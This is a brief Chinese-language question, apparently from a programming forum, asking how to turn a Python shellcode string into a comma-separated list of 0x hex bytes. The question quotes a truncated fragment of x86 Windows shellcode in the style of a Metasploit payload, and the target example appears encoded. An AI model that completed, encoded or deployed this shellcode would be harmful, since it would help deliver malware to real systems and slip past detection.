我有一个像这样的简单 shellcode：
buf =("\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x0f \xb7\x4a\x26\x8b\x72\x28\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49") ……
我希望（使用 Python）将其更改为如下示例的原始字节：0x69,0x16,0x69,0x02,0x68,0x25,0xaa,0xaa,0xaa,0xca,0x9b,0x69,0x38,0x68,0x23,0x69,0x0f ,0xce,0x68,0x21,0xf8,0x9a,0x68,0x21,0xf8,0xa6,0x68,0x21,0xf8,0xbe,0xa5,0x68,0x1d,0xe0,0x8c,0x68,0x21,0xd8,0x82....
（逗号很重要）。我怎样才能做到这一点 ？
